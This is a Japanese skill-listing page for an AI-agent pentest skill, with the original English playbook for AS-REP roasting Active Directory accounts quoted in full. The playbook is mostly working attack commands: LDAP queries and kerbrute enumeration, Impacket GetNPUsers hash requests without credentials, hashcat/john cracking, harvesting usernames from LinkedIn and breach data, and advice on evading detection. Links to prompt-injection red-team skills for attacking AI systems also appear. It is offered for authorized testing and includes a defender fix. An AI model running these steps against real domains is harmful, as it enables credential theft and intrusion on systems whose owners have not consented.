asrep-roasting
できること
このスキルは、事前認証を必要としないユーザーアカウントをドメインで見つけ、オフラインでテストする方法を説明します。Windowsドメインの監査を許可されたセキュリティ担当者向けです。
使う場面
- ✓セキュリティテスターが、Kerberosの事前認証を必要としないドメインアカウントを見つけたいとき。
- ✓ドメインコントローラーがそれらのアカウントのログインデータを返すかを確認する必要があるとき。
- ✓そのようなアカウントの弱いパスワードのリスクを、報告書で説明する必要があるとき。
スキルのリンク
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/asrep-roasting/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“認可された当社のテストドメインで、Kerberosの事前認証を必要としないアカウントがないかを確認してもらえますか。”
毎週5つの新しいスキル。1分で読めます。
仕組み
エージェントは、ディレクトリのクエリまたはセキュリティグラフを使って該当アカウントを見つけます。その後、リクエストのツールを実行し、オフラインで確認するための結果を記録します。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
AS-REP Roasting Playbook
Prerequisite
None — no valid domain account needed. Network reachability to a DC on TCP/UDP 88 is enough. This makes AS-REP roast more powerful than kerberoast in some engagements (zero-auth pre-recon win).
1. Identify vulnerable users
In a hosted engagement, inspect the authorized collection through
bloodhound_mcp_find_objects and bloodhound_mcp_object_profile, or use a
bounded read-only bloodhound_mcp_cypher_query when the semantic tools do not
expose the required account flag. Confirm collection coverage first. In
standalone OSS, use the registered bhce_cypher tool against that instance.
Direct LDAP (if you have any cred or anonymous-bind allowed):
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
-b 'DC=corp,DC=local' \
'(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' \
sAMAccountName
Or brute-force user discovery (only when no LDAP access):
# Username list from OSINT, kerbrute validates which exist
kerbrute userenum --dc DC_IP -d DOM users.txt
2. Request AS-REP
Impacket (zero-auth path):
GetNPUsers.py DOM/ -dc-ip DC_IP -usersfile /tmp/users.txt \
-format hashcat -no-pass -outputfile /tmp/asrep.hashes
With creds (more reliable, also enum):
GetNPUsers.py DOM/USER:'PASS' -dc-ip DC_IP -request \
-format hashcat -outputfile /tmp/asrep.hashes
Output format: $krb5asrep$23$USER@DOM:<ciphertext> (RC4).
3. Crack offline (hashcat mode 18200)
hashcat -m 18200 -a 0 /tmp/asrep.hashes /usr/share/wordlists/rockyou.txt \
--rules-file /usr/share/hashcat/rules/best64.rule
# John alternative
john --wordlist=rockyou.txt --format=krb5asrep /tmp/asrep.hashes
AS-REP-roastable users tend to be:
- Legacy service accounts (sysadmin set DONT_REQ_PREAUTH to "fix" a ticket issue in 2014, never reverted)
- Test / dev accounts with weak passwords
- Accounts created from a misconfigured PowerShell script
Crack rate is typically higher than kerberoast — these users are often forgotten accounts with weak passwords.
4. Userlist sources when zero-auth
Without LDAP, your userlist comes from:
kerbrute userenumagainst common lists (jsmith.txt, statistically-common-usernames)- LinkedIn scrape → format conversion (
firstname.lastname,flastname) - Github commit emails from company orgs
- Email leaks (HIBP, Dehashed if op-authorized)
- Subdomain enumeration → username patterns in metadata
5. Promote
kg_add_node(kind="credential", label="USER:CRACKED_PW",
props={"source":"asrep-roast","preauth":"disabled"})
OPSEC
- AS-REQ without pre-auth is event 4768 on the DC
- Defender's tell: 4768 with
Pre-Authentication Type=0(no preauth) - Username enum via kerbrute generates 4768 spam — throttle or accept detection if engagement allows
- A single AS-REP request per known user is quieter than enumeration
CVSS
- Multiple roastable + crackable:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H= 10.0 (PR:N because no creds needed) - One roastable, uncrackable: Informational + fix recommendation
Defender fix
Remove DONT_REQ_PREAUTH flag:
Set-ADAccountControl -Identity USER -DoesNotRequirePreAuth $false
Audit policy: UserAccountControl & 0x400000 should be zero on all real users.
よくある質問
このスキルはドメインへのログインが必要ですか?
有効なアカウントがなくても動作するとスキルは述べていますが、ログインした状態のテストのほうが確実だとも注記しています。
アカウントを見つけるために何に頼りますか?
ディレクトリのクエリや、ガイドに説明されているBloodHoundの分析ツールに頼ります。
どのネットワークでも安全に実行できますか?
いいえ。テストを許可された所有者のネットワークに限られます。
詳細
作者による元の説明
Request AS-REP for accounts with DONT_REQ_PREAUTH set and crack offline — like kerberoast but no auth required.
人気
- GitHubのスター
- 6.5k
- ランキング
- #13936
- ライセンス
- Apache-2.0
- 更新日
- 2026/11/1
コメント
- …
このリポジトリの他のスキル
detector-overview
6.5kエージェントが、スキャナーが指摘したコードを読み、本物のセキュリティバグと誤検知を見分けられるよう支援します。
exploiter-overview
6.5kエージェントが、確認済みの複数のセキュリティ上の弱点を一つのテストの連鎖にまとめ、その影響がどこまで及ぶかを確認できるよう支援します。
llm-redteam-overview
6.5kエージェントが、プロンプトインジェクションからモデルの悪用まで、15の戦術グループの中から適切なAIレッドチーム用ガイドを見つけられるよう支援します。
aatmf-t01-prompt-injection
6.5kプロンプトインジェクションを説明します。隠された指示でAIシステムを乗っ取ろうとする手口を、セキュリティテスターが確認できるようにします。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。